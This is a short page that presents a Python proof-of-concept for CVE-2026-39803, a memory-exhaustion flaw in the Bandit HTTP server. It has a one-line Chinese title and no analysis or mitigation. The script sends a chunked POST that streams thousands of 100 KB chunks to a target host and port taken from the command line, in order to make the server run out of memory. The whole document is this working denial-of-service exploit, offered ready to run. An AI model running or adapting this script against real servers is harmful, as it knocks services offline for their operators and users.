CVE-2026-39803 bandit资源耗尽漏洞

import socket import sys def send_chunked_attack(host, port, path="/", chunk_size=1024*100, chunk_count=10000): """ PoC for CVE-2026-39803 Sends a large chunked POST request to exhaust memory on the target server. """ payload = b"A" * chunk_size try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Send HTTP headers with Transfer-Encoding: chunked headers = f"POST {path} HTTP/1.1\r\n" headers += f"Host: {host}\r\n" headers += "Accept: */*\r\n" headers += "Transfer-Encoding: chunked\r\n" headers += "\r\n" s.send(headers.encode()) # Send malicious chunks for i in range(chunk_count): # Send chunk size in hex s.send(f"{hex(chunk_size)[2:]}\r\n".encode()) # Send chunk data s.send(payload) s.send("\r\n".encode()) print(f"Sent chunk {i+1}/{chunk_count}") # Send final chunk to terminate s.send(b"0\r\n\r\n") print("Attack payload sent. Server may run out of memory.") except Exception as e: print(f"Error: {e}") finally: s.close() if __name__ == "__main__": # Usage: python script.py <target_ip> <port> target_ip = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 4000 send_chunked_attack(target_ip, target_port)